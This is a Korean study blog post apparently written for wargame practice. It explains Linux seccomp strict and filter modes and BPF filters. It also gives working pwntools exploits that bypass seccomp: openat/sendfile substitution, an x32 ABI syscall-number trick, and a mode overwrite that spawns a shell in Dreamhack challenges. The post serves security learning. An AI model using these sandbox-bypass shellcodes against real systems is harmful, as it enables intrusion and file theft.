System Hacking

SECCOMP

burrri 2024. 3. 23. 17:38

Sandbox

외부의 공격으로부터 시스템을 보호하기위해 설계된 기법

: allow list/ deny list 둘 중 선택하여 적용 가능

-> sandbox 메커니즘 중 하나 : SECCOMP

 

seccomp (secure computing mode)

리눅스 커널에서 sandboxing 매커니즘을 제공하는 컴퓨터 보안 기능

-> 어플리케이션에서 불필요한 시스템 콜의 호출을 방지할 수 있다!

 

STRICT_MODE

read, write, exit, sigreturn  시스템 콜의 호출만을 허용 -> 이외의 것은 sigkill 시그널로 프로그램 종료

#include <fcntl.h>
#include <linux/seccomp.h>
#include <sys/prctl.h>
#include <unistd.h>
// prctl함수를 통해 STRICT_MODE설정 
void init_filter() { prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT); }
int main() {
  char buf[256];
  int fd = 0;
  init_filter();
  write(1, "OPEN!\n", 6);
  fd = open("/bin/sh", O_RDONLY);
  write(1, "READ!\n", 6);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
  return 0;
}

 

STRICT_MODE 동작 원리 

model_syscalls 는 read,write,exit, sigreturn 시스템 콜의 번호를 저장하고 있는 변수

// syscall의 번호를 저장하고 있는 변수 model_syscall 
// 어플리케이션의 호환 mode에 맞게 각 비트에 맞는 syscall번호 저장
static const int mode1_syscalls[] = {
    __NR_seccomp_read,
    __NR_seccomp_write,
    __NR_seccomp_exit,
    __NR_seccomp_sigreturn,
    -1, /* negative terminated */
};
#ifdef CONFIG_COMPAT
static int mode1_syscalls_32[] = {
    __NR_seccomp_read_32,
    __NR_seccomp_write_32,
    __NR_seccomp_exit_32,
    __NR_seccomp_sigreturn_32,
    0, /* null terminated */
};
#endif

// 전달된 model_syscalls 또는 32에 미리 정의된 번호와 일치하는지 검사
static void __secure_computing_strict(int this_syscall) {
  const int *allowed_syscalls = mode1_syscalls;
#ifdef CONFIG_COMPAT
  if (in_compat_syscall()) allowed_syscalls = get_compat_mode1_syscalls();
#endif
  do {
    if (*allowed_syscalls == this_syscall) return;
  } while (*++allowed_syscalls != -1);
#ifdef SECCOMP_DEBUG
  dump_stack();
#endif
  seccomp_log(this_syscall, SIGKILL, SECCOMP_RET_KILL_THREAD, true);
  do_exit(SIGKILL);
}

 

 

FILTER_MODE

원하는 모드의 syscall 호출을 allow / deny 가능

->library 함수를 이용 / BPF(berkely packet filter) 문법을 통해 적용 가능 

 

FILTER_MODE :: 라이브러리 함수

함수 설명
seccomp_init seccomp 모드의 기본 값 설정
-> 임의의 syscall 호출 시 발생
seccomp_rule_add 규칙추가 (allow/deny)
seccomp_load 해당 규칙을 application에 적용

 

ㄴallow list

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/prctl.h>
#include <unistd.h>

void sandbox() {
  scmp_filter_ctx ctx;
  // 기본 모드 : deny 
  ctx = seccomp_init(SCMP_ACT_KILL);
  // 인자를 전달하지 않을 경우 fork함수를 통해 프로그램 종료 
  if (ctx == NULL) {
    printf("seccomp error\n");
    exit(0);
  }
  // seccomp_rule_add함수를 통해서 allow list 작성 
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(rt_sigreturn), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0);
  seccomp_load(ctx);
}
int banned() { fork(); }
int main(int argc, char *argv[]) {
  char buf[256];
  int fd;
  memset(buf, 0, sizeof(buf));
  sandbox();
  if (argc < 2) {
    banned();
  }
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
}

 

ㄴdeny list

void sandbox() {
  scmp_filter_ctx ctx;
  // 기본 모드 : allow
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  // deny_list 
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(openat), 0);
  // 적용 
  seccomp_load(ctx);
}
int main(int argc, char *argv[]) {
  char buf[256];
  int fd;
  memset(buf, 0, sizeof(buf));
  sandbox();
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
}

 

 

FILTER_MODE :: BPF

BPF를 통한 seccomp적용

-> bpf는 커널에서 지원하는 vm으로서, 원래는 네트워크 패킷을 분석 및 필터링하는 목적

 

명령어 설명
BPF_LD 인자로 전달된 값을 복사 -> 비교구문에서 비교 
BPF_JMP 지정 위치로 jmp
BPF_JEQ if equal, ump
BPF_RET 인자로 전달된 값을 반환

BPF는 코드를 직접 입력하지않고 다음과 같은 매크로를 제공한다.

 

BPF_STMT(opcode, operand)

operand(피연산자)의 값을 opcode(연산자)로 전달-

 

BPF_JUMP(opcode, operand, true_offset, false_offset)

operand를 opcode에 정의한 코드로 비교하고 결과에 따라 jmp

 

ㄴallow list

filter 구조체에 BPF 코드가 작성되있는 것을 확인

#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define ALLOW_SYSCALL(name)                               \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define KILL_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
int sandbox() {
  struct sock_filter filter[] = {
      /* Validate architecture. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
      /* Get system call number. */
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      /* List allowed syscalls. */
      ALLOW_SYSCALL(rt_sigreturn),
      ALLOW_SYSCALL(open),
      ALLOW_SYSCALL(openat),
      ALLOW_SYSCALL(read),
      ALLOW_SYSCALL(write),
      ALLOW_SYSCALL(exit_group),
      KILL_PROCESS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  return 0;
}
void banned() { fork(); }
int main(int argc, char* argv[]) {
  char buf[256];
  int fd;
  memset(buf, 0, sizeof(buf));
  sandbox();
  if (argc < 2) {
    banned();
  }
  fd = open("/bin/sh", O_RDONLY);
  read(fd, buf, sizeof(buf) - 1);
  write(1, buf, sizeof(buf));
  return 0;
}

 

-아키텍쳐 검사

현재 arch가 x86-64라면 jmp, 아니라면 seccomp_ret_kill => 종료 

#define arch_nr (offsetof(struct seccomp_data, arch))
#define ARCH_NR AUDIT_ARCH_X86_64
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),

 

-시스템 콜 검사

allow_syscall 매크로 호출을 통해 호출된 syscall이 인자로 전달된 값과 동일하다면 SECCOMP_RET_ALLOW 반환

다르다면, SECCOMP_RET_KILL 반환

#define ALLOW_SYSCALL(name) \
	BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
	BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_ALLOW
	
#define KILL_PROCESS \
	BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
	
BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
ALLOW_SYSCALL(rt_sigreturn),
ALLOW_SYSCALL(open),
ALLOW_SYSCALL(openat),
ALLOW_SYSCALL(read),
ALLOW_SYSCALL(write),
ALLOW_SYSCALL(exit_group),
KILL_PROCESS,

 

ㄴdeny list

위의 과정과 흡사하다. 단지 allow와 deny 가 뒤바뀌었을 뿐....

 

seccomp-tools

: seccomp가 적용된 바이너리의 분석을 도울 뿐만 아니라 BPF 어셈블러 / 디스어셈블러를 제공하는 유용한 도구!

 

 


Bypass SECCOMP

1. 타 syscall 호출

- 코드 분석 

#include <fcntl.h>
#include <seccomp.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

void sandbox() {
  scmp_filter_ctx ctx;
  // 기본 모드 : allow
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  // deny_list : open, execve, execveat, write
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);
  // load
  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

 

- 시나리오

1) syscall 찾기

동일한 기능의 syscall을 확인

: 해당 링크를 통해 확인할 수 있다

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/

: 예 )open == openat (openat은 dirfd를 참조하여 해당 경로에서 파일을 찾음)

 

2) syscall 호출 

int openat(int dirfd, const char *pathname, int flags, mode_t mode);

 

- Exploit

#!/usr/bin/env python3
# Name: bypass_seccomp.py
from pwn import *
context.arch = 'x86_64'
p = process('./bypass_seccomp')
# open과 유사한 opencat사용
shellcode = shellcraft.openat(0, '/etc/passwd')
shellcode += 'mov r10, 0xffff'

# ssize_t sendfile(int out_fd, int in_fd, off_t *offset, size_t count);
# 파일의 내용을 출력하기 위한 sendfile syscall
# in_fd : 1 (표준출력 STDOUT)
# out_fd : 읽을 파일 fd
shellcode += shellcraft.sendfile(1, 'rax', 0).replace('xor r10d, r10d','')
shellcode += shellcraft.exit(0)
p.sendline(asm(shellcode))
p.interactive()

 

 

 

2. ABI (application binary interface)

x86-64, x32 두개의 ABI는 같은 프로세스에서 동작 (x86-64 에서 32비트 명령어 호환o)

또한, 동일한 AUDIT_ARCH_X86_64 이름의 매크로를 사용하여 리눅스 커널에서 둘을 동시에 일컫는다.

그러나, 엄연히 다른 arch => 이를 구별하기 위해 syscall 번호에 특정 값(0X4000 0000)을 부여

 

do_syscall_x64

static __always_inline bool do_syscall_x64(struct pt_regs *regs, int nr)
{
	/*
	 * Convert negative numbers to very high and thus out of range
	 * numbers for comparisons.
	 */
	unsigned int unr = nr;
    // unr (호출하는 syscall번호) < NR_syscalls (syscalls갯수) 비교
	if (likely(unr < NR_syscalls)) {
		unr = array_index_nospec(unr, NR_syscalls);
		regs->ax = sys_call_table[unr](regs);
		return true;
	}
	return false;
}

 

 

do_syscall_x32

static __always_inline bool do_syscall_x32(struct pt_regs *regs, int nr)
{
	/*
	 * Adjust the starting offset of the table, and convert numbers
	 * < __X32_SYSCALL_BIT to very high and thus out of range
	 * numbers for comparisons.
	 */
     // __X32_SYSCALL_BIT값을 뺀 syscall 번호를 사용 
     // 해당 매크로 값 : 0x 4000 0000
	unsigned int xnr = nr - __X32_SYSCALL_BIT;
	if (IS_ENABLED(CONFIG_X86_X32_ABI) && likely(xnr < X32_NR_syscalls)) {
		xnr = array_index_nospec(xnr, X32_NR_syscalls);
		regs->ax = x32_sys_call_table[xnr](regs);
		return true;
	}
	return false;
}

 

- 코드 분석

#include <fcntl.h>
#include <linux/audit.h>
#include <linux/filter.h>
#include <linux/seccomp.h>
#include <linux/unistd.h>
#include <stddef.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <unistd.h>
#define DENY_SYSCALL(name)                                \
  BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, __NR_##name, 0, 1), \
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL)
#define MAINTAIN_PROCESS BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_ALLOW)
#define syscall_nr (offsetof(struct seccomp_data, nr))
#define arch_nr (offsetof(struct seccomp_data, arch))
/* architecture x86_64 */
#define ARCH_NR AUDIT_ARCH_X86_64
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
}

// BPF사용
int sandbox() {
  struct sock_filter filter[] = {
      //arch 검증
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, arch_nr),
      BPF_JUMP(BPF_JMP + BPF_JEQ + BPF_K, ARCH_NR, 1, 0),
      BPF_STMT(BPF_RET + BPF_K, SECCOMP_RET_KILL),
     
     // syscall nr 받기
      BPF_STMT(BPF_LD + BPF_W + BPF_ABS, syscall_nr),
      // deny list 기반 
      DENY_SYSCALL(open),
      DENY_SYSCALL(openat),
      DENY_SYSCALL(read),
      DENY_SYSCALL(write),
      DENY_SYSCALL(vfork),
      DENY_SYSCALL(fork),
      DENY_SYSCALL(clone),
      DENY_SYSCALL(execve),
      DENY_SYSCALL(execveat),
      MAINTAIN_PROCESS,
  };
  struct sock_fprog prog = {
      .len = (unsigned short)(sizeof(filter) / sizeof(filter[0])),
      .filter = filter,
  };
  if (prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1) {
    perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
    return -1;
  }
  if (prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog) == -1) {
    perror("Seccomp filter error\n");
    return -1;
  }
  return 0;
}
int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();
  init();
  memset(shellcode, 0, 0x1000);
  printf("shellcode: ");
  read(0, shellcode, 0x1000);
  sandbox();
  sc = (void *)shellcode;
  sc();
}

 

- 시나리오

시스템 콜 호출

: 사용할 수 있는 syscall을 찾자

 

특정 syscall이 작동과정에서 타 syscall을 호출하는 경우 : syscall의존성이 높다

-> open, read, write의 경우 타 syscall의 아예 호출하지 않아 의존도가 낮다.

=> 해당 프로그램에서는 거부하지만 do_syscall_x32을 통해서 실행하면 해당 syscall을 호출할 수 o

 

- Exploit

from pwn import *
context.arch = 'x86_64'
p = process('./bypass_secbpf')

# 문자열 data에 어셈블리 코드 저장
data = '''
mov rax, 2
or rax, 0x40000000
lea rdi, [rip+path]
xor rsi, rsi
syscall
mov rdi, rax
mov rsi, rsp
mov rdx, 0x1000
xor rax, rax
or rax, 0x40000000
syscall
mov rdi, 1
mov rsi, rsp
mov rax, 1
or rax, 0x40000000
syscall
path: .asciz "/etc/passwd"
'''

p.sendline(asm(data))
p.interactive()


Bypass SECOOMP-1

https://dreamhack.io/wargame/challenges/361

 

checksec

- amd64-64 (64bit)

- RELRO, NX, PIE적용

- canary 미적용

 

- 주요 소스코드

void sandbox() {
  scmp_filter_ctx ctx;
  // 기본 모드 : allow
  ctx = seccomp_init(SCMP_ACT_ALLOW);
  if (ctx == NULL) {
    exit(0);
  }
  
  // deny list 작성 
  // open, execve, execveat, write syscall 불가능 
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(open), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execve), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(execveat), 0);
  seccomp_rule_add(ctx, SCMP_ACT_KILL, SCMP_SYS(write), 0);

  seccomp_load(ctx);
}

int main(int argc, char *argv[]) {
  void *shellcode = mmap(0, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC,
                         MAP_SHARED | MAP_ANONYMOUS, -1, 0);
  void (*sc)();

  init();

  memset(shellcode, 0, 0x1000);

  printf("shellcode: ");
  read(0, shellcode, 0x1000);

  sandbox();

  sc = (void *)shellcode;
  sc();
}

- 사용자 정의로 shellcode작성

- sandbox에 의해 open,write, execve 불가능

- 이전의 예제들을 바탕으로  open -> openat, write->sendfile 의 타 syscall 사용으로 bypass가능 

 

- 시나리오 

syscall 찾기

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/를 통해서 확인하면 다음과 같다.

openat(int dfd, const char *filename, int flags, int mode)
sendfile(int out_fd, int in_fd, off_t *offset, size_t count)

openat과 sendfile을 통해서 flag를 읽는 코드를 작성할 수 있다.

flag의 절대위치는 dockerfile에 작성되어있다.

(sendfile의 경우 2번째 인자를 절대경로로 입력해야 이전 인자의 out_fd가 무시된다)

 

 

- Exploit

from pwn import *

context(arch="x86_64", os="linux")
p = remote("host3.dreamhack.games", 10671)

# open
payload = shellcraft.openat(0, "/home/bypass_seccomp/flag")
# write
# sendfile (int out_fd, int in_fd, off_t *offset, size_t count);
# call : %rax, rdi-rsi-rdx-r10-r8-r9
payload += shellcraft.sendfile(1, 'rax', 0, 0xff) 
payload += shellcraft.exit(0) 

p.sendline(asm(payload))
p.interactive()

 


seccomp

https://dreamhack.io/wargame/challenges/59
checksec

- amd64-64 (64bit)

- partial RELRO, canary, NX 적용

- pie 미적용 

 

- 주요 코드 분석 

// gcc -o seccomp seccomp.cq
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <signal.h>
#include <stddef.h>
#include <sys/prctl.h>
#include <linux/seccomp.h>
#include <linux/filter.h>
#include <linux/unistd.h>
#include <linux/audit.h>
#include <sys/mman.h>

int mode = SECCOMP_MODE_STRICT;

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int syscall_filter() {
    #define syscall_nr (offsetof(struct seccomp_data, nr))
    #define arch_nr (offsetof(struct seccomp_data, arch))
    
    /* architecture x86_64 */
    #define REG_SYSCALL REG_RAX
    #define ARCH_NR AUDIT_ARCH_X86_64
    struct sock_filter filter[] = {
        /* Validate architecture. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr),
        BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0),
        BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL),
        /* Get system call number. */
        BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr),
        };
    
    struct sock_fprog prog = {
    .len = (unsigned short)(sizeof(filter)/sizeof(filter[0])),
    .filter = filter,
        };
    if ( prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0) == -1 ) {
        perror("prctl(PR_SET_NO_NEW_PRIVS)\n");
        return -1;
        }
    
    if ( prctl(PR_SET_SECCOMP, mode, &prog) == -1 ) {
        perror("Seccomp filter error\n");
        return -1;
        }
    return 0;
}


int main(int argc, char* argv[])
{
    void (*sc)();
    unsigned char *shellcode;
    int cnt = 0;
    int idx;
    long addr;
    long value;

    initialize();

    shellcode = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);

    while(1) {
        printf("1. Read shellcode\n");
        printf("2. Execute shellcode\n");
        printf("3. Write address\n");
        printf("> ");

        scanf("%d", &idx);

        switch(idx) {
            case 1:
                if(cnt != 0) {
                    exit(0);
                }

                syscall_filter();
                printf("shellcode: ");
                read(0, shellcode, 1024);
                cnt++;
                break;
            case 2:
                sc = (void *)shellcode;
                sc();
                break;
            case 3:
                printf("addr: ");
                scanf("%ld", &addr);
                printf("value: ");
                scanf("%ld", addr);
                break;
            default:
                break;
        }
    }
    return 0;
}

키야 코드한번 길다... 

mode를 보면 STRICT_MODE로 read, write, exit, sigreturn 시스템 콜의 호출만을 허용한다.

 fiilter도 존재하는데 이전의 BPF 예제(filtering mode)와 다른게 allow/ deny list가 작성되어있지 않다.

 

그렇다면 그냥 3번 case를 통해서 mode를 STRICT_MODE(1)가 아닌 FILTER_MODE(2)로 변경해주면 될듯?

 

mode 주소를 알아보자.

0x602090 => addr

- Exploit

from pwn import *

context.arch = 'x86_64'
p = remote("host3.dreamhack.games", 20163)

mode = 0x602090
shellcode = asm(shellcraft.sh())

# 원하는 주소로 이동
p.sendlineafter("> ", "3")
p.sendlineafter("addr: ", str(mode))
p.sendlineafter("value: ", "100")


p.sendlineafter("> ", "1")
p.sendafter("shellcode: ", shellcode)

p.sendlineafter("> ", "2")

p.interactive()

 

 

 

(Reference)

https://velog.io/@silvergun8291/Dreamhack-seccomp

https://minseosavestheworld.tistory.com/117